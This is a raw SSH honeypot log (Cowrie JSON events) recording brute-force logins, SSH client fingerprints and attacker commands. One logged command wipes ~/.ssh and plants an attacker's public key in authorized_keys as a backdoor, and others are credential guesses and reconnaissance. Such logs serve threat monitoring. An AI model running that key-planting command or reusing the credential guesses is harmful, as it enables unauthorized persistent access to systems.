{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:08:09.704343Z","src_ip":"67.71.54.129","session":"bc3dd32966a9","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"123QWEASDZXC","message":"login attempt [root/123QWEASDZXC] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:08:09.878696Z","src_ip":"67.71.54.129","session":"bc3dd32966a9","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:08:09.997724Z","src_ip":"67.71.54.129","session":"bc3dd32966a9","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:08:10.001794Z","src_ip":"67.71.54.129","session":"bc3dd32966a9","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:08:10.006168Z","src_ip":"67.71.54.129","session":"bc3dd32966a9","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:08:10.046900Z","src_ip":"67.71.54.129","session":"bc3dd32966a9","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:08:10.163338Z","src_ip":"67.71.54.129","session":"bc3dd32966a9","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:08:10.167341Z","src_ip":"67.71.54.129","session":"bc3dd32966a9","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:08:10.211583Z","src_ip":"67.71.54.129","session":"bc3dd32966a9","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:08:10.215205Z","src_ip":"67.71.54.129","session":"bc3dd32966a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"67.71.54.129","src_port":45400,"dst_ip":"10.17.0.5","dst_port":22,"session":"9f584a8bc162","protocol":"ssh","message":"New connection: 67.71.54.129:45400 (10.17.0.5:22) [session: 9f584a8bc162]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:08:10.244797Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:08:10.249279Z","src_ip":"67.71.54.129","session":"9f584a8bc162","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:08:10.286541Z","src_ip":"67.71.54.129","session":"9f584a8bc162","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:08:10.465575Z","src_ip":"67.71.54.129","session":"9f584a8bc162","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:08:11.504680Z","src_ip":"67.71.54.129","session":"9f584a8bc162","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"67.71.54.129","src_port":45628,"dst_ip":"10.17.0.5","dst_port":22,"session":"e42a79fac3ba","protocol":"ssh","message":"New connection: 67.71.54.129:45628 (10.17.0.5:22) [session: e42a79fac3ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:08:11.537163Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:08:11.541802Z","src_ip":"67.71.54.129","session":"e42a79fac3ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:08:11.578798Z","src_ip":"67.71.54.129","session":"e42a79fac3ba","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:08:11.754849Z","src_ip":"67.71.54.129","session":"e42a79fac3ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:08:11.794054Z","src_ip":"67.71.54.129","session":"bc3dd32966a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:08:11.797764Z","src_ip":"67.71.54.129","session":"e42a79fac3ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":33840,"dst_ip":"10.17.0.5","dst_port":22,"session":"2a09ccdf3c20","protocol":"ssh","message":"New connection: 92.118.39.92:33840 (10.17.0.5:22) [session: 2a09ccdf3c20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:08:55.115771Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:08:55.119223Z","src_ip":"92.118.39.92","session":"2a09ccdf3c20","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:08:55.222698Z","src_ip":"92.118.39.92","session":"2a09ccdf3c20","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"test123","message":"login attempt [root/test123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:08:55.567883Z","src_ip":"92.118.39.92","session":"2a09ccdf3c20","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:08:55.809456Z","src_ip":"92.118.39.92","session":"2a09ccdf3c20","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:08:55.812006Z","src_ip":"92.118.39.92","session":"2a09ccdf3c20","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:08:55.918799Z","src_ip":"92.118.39.92","session":"2a09ccdf3c20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:08:55.922788Z","src_ip":"92.118.39.92","session":"2a09ccdf3c20","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.2.125","src_port":52108,"dst_ip":"10.17.0.5","dst_port":22,"session":"55c7ddf7ad7d","protocol":"ssh","message":"New connection: 14.225.2.125:52108 (10.17.0.5:22) [session: 55c7ddf7ad7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:09:13.619918Z"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:09:13.874395Z","src_ip":"14.225.2.125","session":"55c7ddf7ad7d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.2.125","src_port":52112,"dst_ip":"10.17.0.5","dst_port":22,"session":"41c9eb78525e","protocol":"ssh","message":"New connection: 14.225.2.125:52112 (10.17.0.5:22) [session: 41c9eb78525e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:09:14.131118Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:09:14.135770Z","src_ip":"14.225.2.125","session":"41c9eb78525e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:09:14.394121Z","src_ip":"14.225.2.125","session":"41c9eb78525e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cyzhang","password":"123456","message":"login attempt [cyzhang/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:09:15.168541Z","src_ip":"14.225.2.125","session":"41c9eb78525e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:09:16.428989Z","src_ip":"14.225.2.125","session":"41c9eb78525e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":34176,"dst_ip":"10.17.0.5","dst_port":22,"session":"98df22a21599","protocol":"ssh","message":"New connection: 2.57.122.208:34176 (10.17.0.5:22) [session: 98df22a21599]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:09:27.314508Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:09:27.324496Z","src_ip":"2.57.122.208","session":"98df22a21599","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:09:27.428028Z","src_ip":"2.57.122.208","session":"98df22a21599","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trading","password":"trading","message":"login attempt [trading/trading] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:09:27.865663Z","src_ip":"2.57.122.208","session":"98df22a21599","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:09:28.974717Z","src_ip":"2.57.122.208","session":"98df22a21599","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":34818,"dst_ip":"159.203.135.109","dst_port":22,"session":"63e0f11e4b4a","protocol":"ssh","message":"New connection: 195.178.110.218:34818 (159.203.135.109:22) [session: 63e0f11e4b4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:10:15.859258Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:10:15.864688Z","src_ip":"195.178.110.218","session":"63e0f11e4b4a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-